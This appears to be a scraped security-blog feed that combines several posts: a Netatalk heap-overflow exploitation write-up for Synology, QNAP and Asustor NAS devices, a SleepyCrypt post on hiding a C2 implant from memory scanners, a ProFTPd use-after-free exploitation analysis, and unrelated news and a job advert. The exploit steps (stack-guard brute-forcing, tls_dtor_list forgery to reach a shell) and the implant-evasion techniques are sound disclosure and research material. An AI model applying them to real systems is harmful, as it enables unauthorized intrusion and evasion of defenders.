The default length of dsi->commands is 0x100000(dsi->server_quantum), which is a fixed length allocated in dsi_init, so as long as dsi->header.dsi_doff is larger than dsi->server_quantum, heap overflow occurs.

Exploitation

In DSM 6.2.3, dsi->commands buffer is allocated by malloc at libc 2.20. When it allocates more than 0x20000, malloc calls mmap to allocate memory. The memory layout of afpd after dsi_init is as below.

At the below of dsi->commands is Thread Local Storage, which is used to store thread local variables of the main thread.

Because of this memory layout, we can use the vulnerability to overwrite the data on Thread Local Storage. What variables to be overwritten in the Thread Local Storage?

Thread-local Storage

Thread-local Storage (TLS) is used to store the local variables of the thread. Each thread have its own TLS, which allocated when the Thread is created. It will be released when thread is destroyed. We can use heap overflow vulnerabilities to overwrite most of the variables stored in TLS.

Target in TLS

In fact, there are many variables that can control RIP on TLS. Here are a few more common ones.

  • main_arena
    • We can forge main_arena to achieve arbitrary writing, but it’s more complicated
  • pointer_guard
    • We can modify the pointer guard to change the function pointer, but it requires a leak.
  • tls_dtor_list
    • It’s more suitable for our current situation

Overwrite tls_dtor_list

We can use the technique used by project zero in 2014 to overwrite the tls_dtor_list in the Thread Local Storage, and then control the RIP in exit().

struct dtor_list
{
    dtor_func func;
    void *obj;
    struct link_map *map;
    struct dtor_list *next;
}

tls_dtor_list is a singly linked list of dtor_list objects. It is mainly a destructor for thread local storage. In the end of the thread execution, it calls destructor function pointer in the linked list. We can overwrite tls_dtor_list with dtor_list we forged.

When the process exits, it calls call_tls_dtors(). This function takes the object in tls_dtor_list and calls each destructor. At this time, if we can control tls_dtor_list, it calls the function we specified.

However, in the new version of glibc, the function of dtor_list is protected by pointer guard. So we need to know the value of pointer guard before we overwrite it. The pointer guard is initialized at the beginning of the program and is an unpredictable random number. If we don’t have information leakage, it’s hard to know the value.

But in fact pointer guard would also be placed in Thread Local Storage.

In the Thread Local Storage, there is a tcbhead_t structure below the tls_dtor_list, which is the thread descriptor of main thread.

tcbhead_t structure is used to store various information about the thread such as the stack_guard and pointer_guard used by the thread. In x86-64 Linux system, the fs register always points to the tcbhead_t of the current thread, so the program access thread local storage by using fs register. The memory layout of Thread local storage is shown as below.

We can use the vulnerability to overwrite not only tls_dtor_list but also pointer guard in the tcbhead_t. In this way, we can overwrite it with NULL to solve the pointer guard problem mentioned earlier.

But another problem appears, after we overwrite pointer guard, stack guard will also be overwritten.

Before netatalk receives data, it first puts the original stack guard on the stack, and then invoke recv() to receive data to dsi->command. At this time, the buffer overflow occurs and cause stack guard and pointer guard to be overwritten. After this, netatalk returns to normal execution flow. It takes the stack guard from the stack and compare it with the stack guard in Thread Local Storage. However, it has been overwritten by us, the comparison here fails, causing abort to terminate the program.

Bypass stack guard

In the netatalk(afpd) architecture, each connection forks a new process to handle the user’s request, so the memory address and stack guard of each connection are the same as the parent process. Because of this behavior, we can use brute-force bytes one by one to leak stack guard.

Brute-force stack guard

We can use the overflow vulnerability to overwrite only the last byte of stack guard on Thread Local Storage with different value in each different connection. Once the value is different from the original value, the service disconnects. Therefore, we can use the behavior to validate whether the value we overwritten is the same as stack guard. After the lowest byte is determined, we can continue to add another byte, and so on.

In the above figure, we assume that the stack guard is 0xdeadbeeffacebc00. Due to the stack guard feature in Linux, the lowest byte must be 0. Let’s start with the second byte. We can overwrite with 0x00 to see if the connection is disconnected first. If it is disconnected, it means the value we overwrote is wrong. Next, we will test other values to see if the connection is disconnected. And so on, until there is no disconnection, we can find the correct value of section bytes. Then we can try to overwrite third byte, fourth byte and so on. After the stack guard is overwritten with 8 bytes and the connection is not disconnected, we can successfully bypass the stack guard.

After we leak the stack guard, we can actually control RIP successfully. Next, we need to forge the structure _dtor_list to control RIP.

Construct the _dtor_list to control RIP

In DSM 6.2.3-25426, Because it does not enable PIE, we can forge _dtor_list on the data section of afpd.

Luckily, when netatalk use dhx2 login authentication, it will copy the username we provided to the data section of afpd. We can use the feature to construct _dtor_list on the known address.

After everything is constructed, we can trigger the normal function DSICloseSession to control the RIP.

tls_dtor_list in Synology

But in the glibc-2.20 in DSM 6.2.3-25426, it will invoke __tls_get_addr to get the variable tls_dtor_list. The function will take the variable from tcb->div. We also need to construct it on a known address.

The final structure we forged is as follows

Finally, we control RIP to invoke execl() in afpd to get the reverse shell.

Remark

In general Netatalk, PIE protection is enabled by default. It is difficult to construct _dtor_list in a known address. In fact, you can also leak libc address using a similar method. It is still exploitable.

This vulnerability not only affects Synology, but also affects some devices use Netatalk.

Other vendor

We tested several vendors using Netatalk and found that most device have similar problems, some are unexploitable but some are exploitable. We have tested QNAP and Asustor here, and both have successfully obtained the shell.

QNAP

  • We tested on TS451
    • QTS 4.5.4.1741
  • Not enable by default
  • Protection
    • No Stack Guard
    • No PIE
  • Built-in system function

Asustor

  • We tested on AS5202T
    • ADM 3.5.7.RJR1
  • Not enable by default
  • Protection
    • No Stack Guard
    • No PIE
  • Built-in system function

It is worth mentioning that both QNAP and Asustor NAS does not enabled stack guard, and you can get the reverse shell without brute-force.

When Synology has not yet patched this vulnerability, it can be exploited as long as the default is installed. No authentication is required.

Although QNAP and Asustor are not enabled by default, many users who use Macs still turn it on for convenience. Actually, Netatalk will be used almost in NAS. Most NAS will have an impact, as long as they enable Netatalk, an attacker can use this vulnerability to take over most of the NAS.

Your NAS is not your NAS !

In fact, many people open Netatalk on the external network. There are 130,000 machines on shodan alone, most of which are Synology.

Mitigation

Update

At present, the above three have been patched, please update to the latest version.

  • Synology
    • https://www.synology.com/zh-hk/security/advisory/Synology_SA_20_26
  • QNAP
    • https://www.qnap.com/en/security-advisory/qsa-21-50
  • Asustor
    • https://www.asustor.com/service/release_notes#ADM%203.5.7.RKU2

This vulnerability is also fixed in the recently released Netatalk 3.1.13. If you use a version before Netatalk 3.1.13, you also need to update to the latest version.

Disable AFP

  • It’s best to disable it directly. The project is rarely maintained, and the risk of continuing to use it is extremely high.
  • SMB is relatively safe
    • If you want to use similar feature, it is recommended to use SMB. It is relatively safe, but it can only be said to be relatively safe.
    • It is recommended that all related services should be opened in the intranet.

Summary

We have successfully found a serious vulnerability in the NAS, and successfully wrote a proof-of-concept, which proved that it can be exploited on many NAS such as Synology, QNAP and Asustor.

We also think that Netatalk is a new generation of backdoor in NAS!

In the future, We hope that NAS vendor who use third-party can re-examine the security issues caused by them. It is strongly recommended that NAS vendor can review it by themselves and pay attention to whether other vendor have also fixed the vulnerabilities in the same third-party. It is possible that it will also be affected.

The users who want to use NAS can also pay more attention to not opening the NAS on the external network and unused services should be disabled as much as possible to reduce the attack surface.

To be continue

In fact, we have not only found one vulnerability, we have also found that there are still many problems. In next part, we will publish more research after most vendor fix it.

Please look forward to Part II.

Anstehender blu Systems Praxistalk mit Florian Hansemann

By: Blub Blub
23 March 2022 at 09:20
Am 21.07.2022 ist es wieder so weit. Unser Gründer und IT Security Spezialist Florian Hansemann wird als Speaker auf dem blu Systems Praxistalk 2022 in München rund um das Thema „Security einfach, schnell und kostenfrei.“ Sprechen. Der diesjährige blue Systems Praxistalk findet unter dem Überthema „Digital Governance – Nur ein weiteres Buzzword?“ statt. Buzzwords begleiten […]

HanseSecure als einer der Top 100 Cybersecurity-Leader ausgezeichnet

By: Hansemann
5 March 2022 at 12:20
Cybersicherheit ist ein Thema, das immer mehr an Aufmerksamkeit gewinnt, da täglich über 80.000 Cyberangriffe gemeldet werden. Allein in Deutschland berichten mindestens 92 % der Unternehmen , dass sie innerhalb eines Zeitraums von 12 Monaten von irgendeiner Art von Cyberangriff betroffen waren. Glücklicherweise erweitern die Cybersicherheitsunternehmen ständig ihr Angebot für Unternehmen und Konzerne, um deren […]

Sicherheitslücke in Remote Desktop Commander Suite Agent

By: Hansemann
8 February 2022 at 23:25
CVE -anhängig- Anfällige Software Remote Desktop Commander Suite Agent <= Version 4.8 Schwachstelle Schwachstelle im unquotierten Dienstpfad Zeitleiste 12.11.2021 Verkäufer informiert 10.12.2021 Der Verkäufer hat das Problem bestätigt und bittet um eine Freigabe am 9. Februar 2022 09.02.2022 Offenlegung Beschreibung WENN ein Kunde a.) unseren Agentendienst im Standardpfad C:\Programme\RDPSoft\Remote Desktop Reporter Agent installiert und b.) […]

[已結束] DEVCORE 2022 實習生計畫

26 January 2022 at 16:00

DEVCORE 自 2012 成立以來已邁向第十年,我們很重視台灣的資安,也專注找出最嚴重的弱點以保護世界。雖然公司規模擴張不快,但在漸漸站穩腳步的同時,我們仍不忘初衷:從 2020 開始在輔大、台科大成立資安獎學金;在 2021 年末擴大徵才,想找尋有著相同理念的人才一起奮鬥;而現在,我們開始嘗試舉辦實習生計畫,希望培育人才、增強新世代的資安技能,如果您對這個計畫有興趣,歡迎來信報名!

實習內容

本次實習分為 Binary 及 Web 兩個組別,主要內容如下:

  • Binary 以研究為主,在與導師確定研究標的後,分析目標架構、進行逆向工程或程式碼審查。藉由這個過程訓練自己的思路,找出可能的攻擊面與潛在的弱點。另外也會讓大家嘗試寫過往漏洞的 Exploit,體驗真實世界的漏洞都是如何利用。
    • 漏洞挖掘及研究 70 %
    • 1-day 開發 (Exploitation) 30 %
  • Web 主要內容為在導師指引與輔佐下研究過往漏洞與近年常見新型態漏洞、攻擊手法,需要製作投影片介紹成果並建置可供他人重現弱點的模擬測試環境 (Lab),另可能需要撰寫或修改可利用攻擊程式進行弱點驗證。
    • 漏洞及攻擊手法研究 70%
    • 建置 Lab 30%

公司地點

台北市松山區八德路三段 32 號 13 樓

實習時間

  • 2022 年 4 月開始到 7 月底,共 4 個月。
  • 每週工作兩天,工作時間為 10:00 – 18:00
    • 每週固定一天下午 14:00 - 18:00 必須到公司討論進度
    • 其餘時間皆為遠端作業

招募對象

大專院校大三(含)以上具有一定程度資安背景的學生

預計招收名額

  • Binary 組:2 人
  • Web 組:2~3 人

薪資待遇

每月新台幣 16,000 元

招募條件資格與流程

實習條件要求

Binary

  • 基本逆向工程及除錯能力
    • 能看懂組合語言並瞭解基本 Debugger 使用技巧
  • 基本漏洞利用能力
    • 須知道 ROP、Heap Exploitation 等相關利用技巧
  • 基本 Scripting Language 開發能力
    • Python、Ruby
  • 具備分析大型 Open Source 專案能力
    • 以 C/C++ 為主
  • 具備基礎作業系統知識
    • 例如知道 Virtual Address 與 Physical Address 的概念
  • Code Auditing
    • 知道怎樣寫的程式碼會有問題
      • Buffer Overflow
      • Use After free
      • Race Condition
  • 具備研究熱誠,習慣了解技術本質
  • 加分但非必要條件
    • CTF 比賽經驗
    • pwnable.tw 成績
    • 有公開的技術 blog/slide 或 Write-ups
    • 精通 IDA Pro 或 Ghidra
    • 有寫過 1-day 利用程式
    • 具備下列經驗
      • Kernel Exploit
      • Windows Exploit
      • Browser Exploit
      • Bug Bounty

Web

  • 熟悉 OWASP Web Top 10。
  • 理解 PortSwigger Web Security Academy 中所有的安全議題或已完成所有 Lab。
    • 參考連結:https://portswigger.net/web-security/all-materials
  • 理解計算機網路的基本概念。
  • 熟悉 Command Line 操作,包含 Unix-like 和 Windows 作業系統的常見或內建系統指令工具。
  • 熟悉任一種網頁程式語言(如:PHP、ASP.NET、JSP),具備可以建立完整網頁服務的能力。
  • 熟悉任一種 Scripting Language(如:Shell Script、Python、Ruby),並能使用腳本輔以研究。
  • 具備除錯能力,能善用 Debugger 追蹤程式流程、能重現並收斂問題。
  • 具備可以建置、設定常見網頁伺服器(如:Nginx、Apache)及作業系統(如:Linux)的能力。
  • 具備追根究柢的精神。
  • 加分但非必要條件
    • 曾經獨立挖掘過 0-day 漏洞。
    • 曾經獨立分析過已知漏洞並能撰寫 1-day exploit。
    • 曾經於 CTF 比賽中擔任出題者並建置過題目。
    • 擁有 OSCP 證照或同等能力之證照。

應徵流程

本次甄選一共分為三個階段:

第一階段:書面審查

第一階段為書面審查,會需要審查下列兩個項目

  • 書面審查
  • 簡答題測驗(2 題,詳見下方報名方式

我們會根據您的履歷及簡答題所回答的內容來決定是否有通過第一階段,我們會在七個工作天內回覆是否有通過第一階段,並且視情況附上第二階段的題目。

第二階段:能力測驗

  • Binary
    • 第二階段會根據您的履歷或是任何可以證明具備 Binary Exploit 相關技能的資料來決定是否需要另外做題目,如果未達標準則會另外準備 Binary Exploitation 相關題目,原則上這個階段會給大家約兩週時間解題,解完後請務必寫下解題過程(Write-up),待我們收到解題過程後,將會根據您的狀況決定是否可以進入第三階段。
  • Web

第三階段:面試

此階段為 1~2 小時的面試,會有 2~3 位資深夥伴參與,評估您是否具備本次實習所需的技術能力與人格特質。

報名方式

  • 請將您的履歷簡答題答案做成一份 PDF 檔寄到 [email protected]
    • 履歷格式請參考範例示意(DOCXPAGESPDF)並轉成 PDF。若您有自信,也可以自由發揮最能呈現您能力的履歷。
    • 請於 2022/02/11 前寄出(如果名額已滿則視情況提早結束)
  • 信件標題格式:[應徵] 職位 您的姓名(範例:[應徵] Web 組實習生 王小美)
  • 履歷內容請務必控制在兩頁以內,至少需包含以下內容:
    • 基本資料
    • 學歷
    • 實習經歷
    • 社群活動經歷
    • 特殊事蹟
    • 過去對於資安的相關研究
    • 對於這份實習的期望
    • MBTI 職業性格測試結果(測試網頁
  • 簡答題題目如下,請依照欲申請之組別回答,答案頁數不限,可自由發揮
    • Binary
      • 假設你今天要分析一個 C/C++ 寫的 web server,在程式執行過程中,你覺得有哪些地方可能會發生問題導致程式流程被劫持?為什麼?
      • 在 Linux 機器上,當我們在對 CGI 進行分析時,由於 CGI 是由 apache 所呼叫並傳遞 input,且在執行後會立即結束,這種程式你會如何 debug ?
    • Web
      • 當你在網頁瀏覽器的網址列上輸入一串網址(例如:http://site.fake.devco.re/index.php?foo=bar),隨後按下 Enter 鍵到出現網頁畫面為止,請問中間發生了什麼事情?請根據你所知的知識背景,以文字盡可能說明。
      • 依據前述問題的答案,允許隨意設想任何一個情境,並以文字盡可能說明在情境的各個環節中可能發生的任何安全議題或者攻擊目標、攻擊面向。

若有應徵相關問題,請一律使用 Email 聯繫,如造成您的不便請見諒,我們感謝您的來信,並期待您的加入!

Erster Radio Beitrag: Gefälschte Impfausweise

By: Hansemann
28 December 2021 at 09:31
Am 02.11.2021 durfte ich einen kurzen Beitrag bei der deutschen Welle zum Thema der gefälschen Impfausweise geben. Aufgrund der Tatsache, dass sich das Thema sehr umfangreich im Osteuropäischen Raum abspielte, hatte sich ausschließlich der russsich sprachige Bereich des Senders mit dem Thema befasst. Somit seid nicht überrascht, dass Sowohl der Beitrag, als auch das Video […]

Vulnerability Wordline

By: Hansemann
21 December 2021 at 22:10
CVE pending Vulnerable Software HIDCCEMonitorSVC Version <= 5.2.4.3 Vulnerability A Unquoted service path in HIDCCEMonitorSVC software allows a local attacker to potentially escalate privileges to system level. Timeline 29.10.2021 Vendor informed 10.11.2021 Vendor confirms the vulnerability and informs HanseSecure that the vulnerability will be patched in the next version. 21.12.2020 Disclosure References: Hall of Fame […]

Top Security QuickFails: #5 Angriff der KlonAdmins aka Missing LAPS

29 November 2021 at 07:49
#5 Angriff der KlonAdmins aka Missing LAPS Der Angriff In der FaulerHund AG in München starten die Mitarbeiter in ein neues Geschäftsjahr und freuen sich auf neue Herausforderungen. So auch der Administrator Karl KannNixDafür, welcher am Donnerstag Mittag gegen 12:30 festgestellt hat, dass der Account von Ute Unbeschwert noch angemeldet ist, obwohl diese gegen 11 […]

SleepyCrypt: Encrypting a running PE image while it sleeps

10 September 2021 at 15:20

SleepyCrypt: Encrypting a running PE image while it sleeps

Introduction

In the course of building a custom C2 framework, I frequently find features from other frameworks I’d like to implement. Cobalt Strike is obviously a major source of inspiration, given its maturity and large feature set. The only downside to re-implementing features from a commercial C2 is that you have no code or visibility into how a feature is implemented. This downside is also an learning excellent opportunity.

One such feature is Beacon’s ability to encrypt its loaded image in memory while it sleeps. It does this to prevent memory scanning from identifying static data and other possible indicators within the image while Beacon is inactive. Since during sleep no code or data is used, it can be encrypted, and only decrypted and visible in memory for the shortest time necessary. Another similar idea is heap encryption, which encrypts any dynamically allocated memory during sleep. A great writeup on this topic was published recently by Waldo-IRC and is available here.

So I set out to create a proof of concept to encrypt the loaded image of a process periodically while that process is sleeping, similar to how a Beacon or implant would.

The code for this post is available here.

Starting A Process

To get an idea of the challenges we have to overcome, let’s examine how an image is situated in memory when a process is running.

During process creation, the Windows loader takes the PE file from disk and maps it into memory. The PE headers tell the loader about the number of sections the file contains, their sizes, memory protections, etc. Using this information, each section is mapped by the loader into an area of memory, and that memory is given a specific memory protection value. These values can be a combination of read, write, and execute, along with a bunch of other values that aren’t relevant for now. The various sections tend to have consistent memory protection values; for instance, the .text sections contains most of the executable code of the program, and as such needs to be read and executed, but not written to. Thus its memory is given Read eXecute protections. The .rdata section however, contains read-only data, so it is given only Read memory protection.

Section Protection

Why do we care about the memory protection of the different PE sections? Because we want to encrypt them, and to do that, we need to be able to both read and write to them. By default, most sections are not writable. So we will need to change the protections of each section to at least RW, and then change them back to their original protection values. If we don’t change them back to their proper values, the program could possibly crash or look suspicious in memory. Every single section being writable is not a common occurrence!

How Can You Run Encrypted Code?

Another challenge we need to tackle is encrypting the .text section. Since it contains all the executable code, if we encrypt it, the assembly becomes gibberish and the code can no longer run. But we need the code to run to encrypt the section. So it’s a bit of a chicken and the egg problem. Luckily there’s a simple solution: use the heap! We can allocate a buffer of memory dynamically, which will reside inside our process address space, but outside of the .text section. But how do we get our C code into that heap buffer to run when it’s always compiled into .text? One word: shellcode.

Ugh, Shellcode??

I know we all love writing complex shellcode by hand, but for this project I am going to cheat and use C to create the shellcode for me. ParanoidNinja has a fantastic blog post on exactly this subject, and I will borrow heavily from that post to create my shellcode.

But what does this shellcode need to do exactly? It has two primary functions: encrypt and decrypt the loaded image, and sleep. So we will write a small C function that takes a pointer to the base address of the loaded image and a length of time to sleep. It will change the memory protections of the sections, encrypt them, sleep for the configured time, and then decrypt everything and return.

Putting It All Together

So the final flow of our program looks like this:

- Generate the shellcode from our C program and include it as a char buffer in our main test program called `sleep.exe`
- In `sleep.exe`, we allocate heap memory for the shellcode and copy it over
- We get the base address of our image and the desired sleep time
- We use the pointer to the heap buffer as a function pointer and call the shellcode like a function, passing in a parameter
- The shellcode will run, encrypt the image, sleep, decrypt, and then return
- We're back inside the `.text` section of `sleep.exe`, so we can continue to do our thing until we want to sleep and repeat the process again

Sleep.exe

Since it’s the simplest, let’s start with a rundown of sleep.exe.

First off, we include the shellcode as a header file. This is generated from the raw binary (which we’ll cover shortly) with xxd -i shellcode.bin > shellcode.h. Then we define the struct we will use as a parameter to the shellcode function, which is called simply run. The struct contains a pointer for the image base address, a DWORD for the sleep time, and a pointer to MessageBoxA, so we can have some visible output from the shellcode. In a real implant you would probably want to omit this. Lastly we create a function pointer typedef, so we can call the shellcode buffer like a normal function.

Struct in sleep.c

Next we begin our main function. We take in a command line parameter with the sleep time, dynamically resolve MessageBoxA, get the image base address with GetModuleHandleA( NULL ), and setup the parameter struct. Then we allocate our heap buffer and copy the shellcode payload into it:

Setup in sleep.c

Finally we create a function pointer to the shellcode buffer, wait for a keypress so we have time to check things out in Process Hacker, and then we execute the shellcode. If all goes well, it will sleep for our configured time and return back to sleep.exe, popping some message boxes in the process. Then we’ll press another key to exit, showing that we do indeed have execution back in the .text section.

Run in sleep.c

C First, Then Shellcode

Now we write the C function that will end up as our position-independent shellcode. ParanoidNinja covers this pretty well in his post, so I won’t rehash it all here, but I will mention some salient points we’ll need to account for.

First, when we call functions in shellcode on x64, we need the stack to be 16 byte aligned. We borrow ParanoidNinja’s assembly snippet to do this, using it as the entry point for the shellcode, which then calls our run function, then returns to sleep.exe.

Next we need to consider calling Win32 APIs from our shellcode. We don’t have the luxury of just calling them as usual, since we don’t know their addresses and have no runtime support, so we need to resolve them ourselves. However, the usual method of calling GetProcAddress with a string of the function to resolve is tricky, as we already need to know the address of GetProcAddress to call it, and using strings in position-independent shellcode requires them to be spelled out in a char array like this: char MyFunc[] = { 'h', 'i', 0x0 };. What we can do instead is use the tried and true method of API hashing. I have borrowed a custom GetProcAddress implementation to do this from here, combining it with a slightly modified djb2 hash algorithm. Here’s how this looks for Sleep and VirtualProtect:

Function resolution in run.c

PE Parsing Fun

Now that we’re able to get the function pointers we need, it’s time to address encrypting the image. The way we’ll do this is by parsing the PE header of the loaded image, since it contains all the information we need to find each section in memory. After talking with Waldo-IRC, it turns out I could also have done with with VirtualQuery, which would make it a more generalizable process. However I did it the PE way, so that’s what I’ll cover here.

The first parameter of our argument struct to the shellcode is the base address of the loaded image in memory. This is effectively a pointer to the beginning of the MSDOS header. So we can use all the usual PE parsing techniques to find the beginning of the section headers. PE parsing can be tedious, so I won’t give a detailed play by play, just the highlights.

Once we have the address of the first section, we can get the three pieces of information we need from it. First is the actual address of the section in memory. The IMAGE_SECTION_HEADER structure contains a VirtualAddress field, which when combined with the image base address, gives us the actual address in memory of the section.

Next we need the size of that section in memory. This is stored in the VirtualSize field of the section header. However this size is not actually the real size of the section when mapped into memory. It’s the size of the actual data in the section. Since by default memory in Windows is allocated in pages of 4 kilobytes, the VirtualSize value is rounded up to the nearest multiple of 4k. The bit twiddling code to do this was taken from StackOverflow here.

The last piece of information about the section we need is the memory protection value. This is stored in the Characteristics field of the section header. This is a DWORD value that looks something like 0x40000040, with the left-most hex digit representing the read, write, or execute permission we care about. We do a little more bit twiddling to get just this value, by shifting it to the right by 28 bits. Once we get this value by itself, we save it in an array indexed by the section number so that we can reuse it later to reset the protections:

Shifting characteristics in run.c

Encryption

Now that we can find each section, know its size, and can restore its memory protections, we can finally encrypt. In the same loop where we parsed each section, we call our encryption function:

Shifting characteristics in run.c

The encryption/decryption functions take the address, size, and memory protection to apply, as well as a pointer to the address of the VirtualQuery function, so that we don’t have to resolve it each time:

Encrypt/decrypt functions in run.c

To encrypt, we change the memory protections to RW, then XOR each byte of the section. Once we have encrypted each section, we finish by encrypting the PE headers. They reside in a single 4k page starting at the base address. With that, the entire loaded image is encrypted!

Sleep and Decryption

Now that we’ve encrypted the entire image, we can sleep by calling the dynamically resolved Sleep function pointer, using the passed-in sleep duration DWORD.

Once we’ve finished sleeping, we decrypt everything. We have to make sure that we decrypt the PE headers page first, because we use it to find the addresses of all the other sections. Then we pop a message box to tell us we’re done, and return to sleep.exe!

Getting The Shellcode

ParanoidNinja covers this part in detail as well, but briefly the process is this:

- Compile the stack alignment assembly and the C code to an object file
- Link the two object files together into an EXE
- Use `objcopy` to extract just the `.text` into file
- Convert the shellcode file into a `char` array for `sleep.c`

Demo Time

To verify everything is being encrypted and decrypted properly, we can use Process Hacker to inspect the memory. Here I’ve called sleep.exe with a 5 second sleep time. The process has started, but since I haven’t pressed a key, everything is still unencrypted:

PE headers unencrypted

Here I have pressed a key and the encryption process has started. I have pressed “Re-Read” memory in Process Hacker, and you can see that the header page has been XOR encrypted:

PE headers encrypted

After the sleep is finished and decryption takes place, we get a message box telling us we’re done. Once we refresh the memory in Process Hacker, we can see we have the PE header page back again!

Demo complete

You can repeat this with each section in Process Hacker and see that they are all indeed encrypted.

Conclusion

I find it really educational to recreate Cobalt Strike features, and this one was no exception. I don’t know if this is at all close to how Cobalt Strike handles sleep obfuscation, but this does seem to be a viable method, and I will likely tweak it further and include it in my C2 framework. If you have any questions or input on this, please let me know or open an issue on Github.

Top Security QuickFails: #3 Die „unsichtbaren“ Netzwerkfreigaben

26 August 2021 at 20:16
#3 Die „unsichtbaren“ Netzwerkfreigaben Der Angriff Es ist Mittwochvormittag, die Sonne scheint und alle Mitarbeiter der ImmerGrün AG freuen sich auf das Sommerfest am Nachmittag.Beate aus der HR Abteilung wollte sich vorher noch einige Bewerbungen vom Vortag ansehen und wunderte sich noch, dass bei vielen Dokumenten plötzlich Macros zum Öffnen notwendig waren, aber das würde […]

A New Attack Surface on MS Exchange Part 3 - ProxyShell!

21 August 2021 at 16:00

This is a guest post DEVCORE collaborated with Zero Day Initiative (ZDI) and published at their blog, which describes the exploit chain we demonstrated at Pwn2Own 2021! Please visit the following link to read that :)

If you are interesting in more Exchange Server attacks, you can also check our series of articles:

With ProxyShell, an unauthenticated attacker can execute arbitrary commands on Microsoft Exchange Server through an exposed 443 port! Here is the demonstration video:

Having fun with a Use-After-Free in ProFTPd (CVE-2020-9273)

9 August 2021 at 00:00

Dear Fellowlship, today’s homily is about building a PoC for a Use-After-Free vulnerability in ProFTPd that can be triggered once authenticated and it can lead to Post-Auth Remote Code Execution. Please, take a seat and listen to the story.

Introduction

This post will analyze the vulnerability and how to exploit it bypassing all the memory exploit mitigations present by default (ASLR, PIE, NX, Full RELRO, Stack Canaries etc).

First of all I want to mention:

  • @DUKPT_ who is also working on a PoC for this vulnerability, for his approach on overwriting gid_tab->pool which is the one I decided to use on the exploit (will be explained later in this post)
  • Antonio Morales @nosoynadiemas for discovering this vulnerability, you can find more information about how he discovered it on his post Fuzzing sockets, part 1: FTP servers

Vulnerability

To trigger the vulnerability, we need to first start a new data channel transference, then interrupt through command channel while data channel is still open.

Using the data channel, we can fill heap memory to overwrite the resp_pool struct, which is session.curr_cmd_rec->pool at this time.

The result of triggering the vulnerability successfully is full control over resp_pool:

gef➤  p p
$3 = (struct pool_rec *) 0x555555708220
gef➤  p resp_pool
$4 = (pool *) 0x555555708220
gef➤  p session.curr_cmd_rec->pool
$5 = (struct pool_rec *) 0x555555708220
gef➤  p *resp_pool
$6 = {
  first = 0x4141414141414141,
  last = 0x4141414141414141,
  cleanups = 0x4141414141414141,
  sub_pools = 0x4141414141414141,
  sub_next = 0x4141414141414141,
  sub_prev = 0x4141414141414141,
  parent = 0x4141414141414141,
  free_first_avail = 0x4141414141414141 <error: Cannot access memory at address 0x4141414141414141>,
  tag = 0x4141414141414141 <error: Cannot access memory at address 0x4141414141414141>
}

Obviously, as there are not valid pointers in the struct, we end up on a segmentation fault on this line of code:


first_avail = blok->h.first_avail

blok, which coincides with the p->last value, is 0x4141414141414141 at that time

The ProFTPd Pool Allocator

The ProFTPd pool allocator is the same as the Apache.

Allocations here take place using palloc() and pcalloc(), which are wrapping functions for alloc_pool()

ProFTPd Pool Allocator works with blocks, which are actual glibc heap chunks.

Each block has a block_hdr header structure that defines it:


union block_hdr {
  union align a;

  /* Padding */
#if defined(_LP64) || defined(__LP64__)
  char pad[32];
#endif

  /* Actual header */
  struct {
    void *endp;
    union block_hdr *next;
    void *first_avail;
  } h;
};

  • blok->h.endp points to the end of current block
  • blok->h.next points to the next block in a linked list
  • blok->h.first_avail points to the first available memory within this block

This is the alloc_pool() code:


static void *alloc_pool(struct pool_rec *p, size_t reqsz, int exact) {

  size_t nclicks = 1 + ((reqsz - 1) / CLICK_SZ);
  size_t sz = nclicks * CLICK_SZ;
  union block_hdr *blok;
  char *first_avail, *new_first_avail;

  blok = p->last;
  if (blok == NULL) {
    errno = EINVAL;
    return NULL;
  }

  first_avail = blok->h.first_avail;

  if (reqsz == 0) {
    errno = EINVAL;
    return NULL;
  }

  new_first_avail = first_avail + sz;

  if (new_first_avail <= (char *) blok->h.endp) {
    blok->h.first_avail = new_first_avail;
    return (void *) first_avail;
  }

  pr_alarms_block();

  blok = new_block(sz, exact);
  p->last->h.next = blok;
  p->last = blok;

  first_avail = blok->h.first_avail;
  blok->h.first_avail = sz + (char *) blok->h.first_avail;

  pr_alarms_unblock();
  return (void *) first_avail;
}

As we can see, it first tries to use memory within the same block, if no space, is allocates a new block with new_block() and updates the pool last block on p->last.

Pool headers, defined by pool_rec structure, are stored right after the first block created for that pool, as we can see on make_sub_pool() which creates a new pool:


struct pool_rec *make_sub_pool(struct pool_rec *p) {
  union block_hdr *blok;
  pool *new_pool;

  pr_alarms_block();

  blok = new_block(0, FALSE);

  new_pool = (pool *) blok->h.first_avail;
  blok->h.first_avail = POOL_HDR_BYTES + (char *) blok->h.first_avail;

  memset(new_pool, 0, sizeof(struct pool_rec));
  new_pool->free_first_avail = blok->h.first_avail;
  new_pool->first = new_pool->last = blok;

  if (p) {
    new_pool->parent = p;
    new_pool->sub_next = p->sub_pools;

    if (new_pool->sub_next)
      new_pool->sub_next->sub_prev = new_pool;

    p->sub_pools = new_pool;
  }

  pr_alarms_unblock();

  return new_pool;
}

Actually, make_sub_pool() is responsible for creating the permanent pool aswell, which has no parent. p will be NULL when doing it.

Looking at make_sub_pool() code, you can realize that it gets a new block, and just after the block_hdr headers, pool_rec headers are entered and blok->h.first_avail is updated to point right after it.

Then, entries of the new created pool are initialized.

The p->cleanups entry is a pointer to a cleanup_t struct:


typedef struct cleanup {
  void *data;
  void (*plain_cleanup_cb)(void *);
  void (*child_cleanup_cb)(void *);
  struct cleanup *next;

} cleanup_t;

Cleanups are interpreted by the function run_cleanups() and registered with the function register_cleanup()

A chain of blocks can be freed using free_blocks():


static void free_blocks(union block_hdr *blok, const char *pool_tag) {

  union block_hdr *old_free_list = block_freelist;

  if (!blok)
    return;

  block_freelist = blok;

  while (blok->h.next) {
    chk_on_blk_list(blok, old_free_list, pool_tag);
    blok->h.first_avail = (char *) (blok + 1);
    blok = blok->h.next;
  }

  chk_on_blk_list(blok, old_free_list, pool_tag);
  blok->h.first_avail = (char *) (blok + 1);
  blok->h.next = old_free_list;
}

Exploitation Analysis

We have control over a really interesting pool_rec struct, now we might need to search for primitives that allow us to get something useful from this vulnerability, like obtaining Remote Code Execution.

Leaking memory addresses

Obviously to exploit this vulnerability predictable memory addresses is a requirement before using primitives, as in this case, the exploitation consists on playing with pointers, structs and memory writes.

Leaking memory addresses on this situation is really hard, as we are on a cleanup/session finishing process and to trigger the vulnerability we actually need to generate an interruption.

I first thought about reading /proc/self/maps file, which can be read by any process, even with low privileges.

Perhaps in theory it would work, unfortunately ProFTPd uses stat syscall to retrieve file size, as stat over pseudo-files like maps returns zero, this breaks transfer, and 0 bytes are returned back to client on data channel.

Thinking on additional ways to do it, I realized about mod_copy, which is a module in ProFTPd that allows you to copy files within the server.

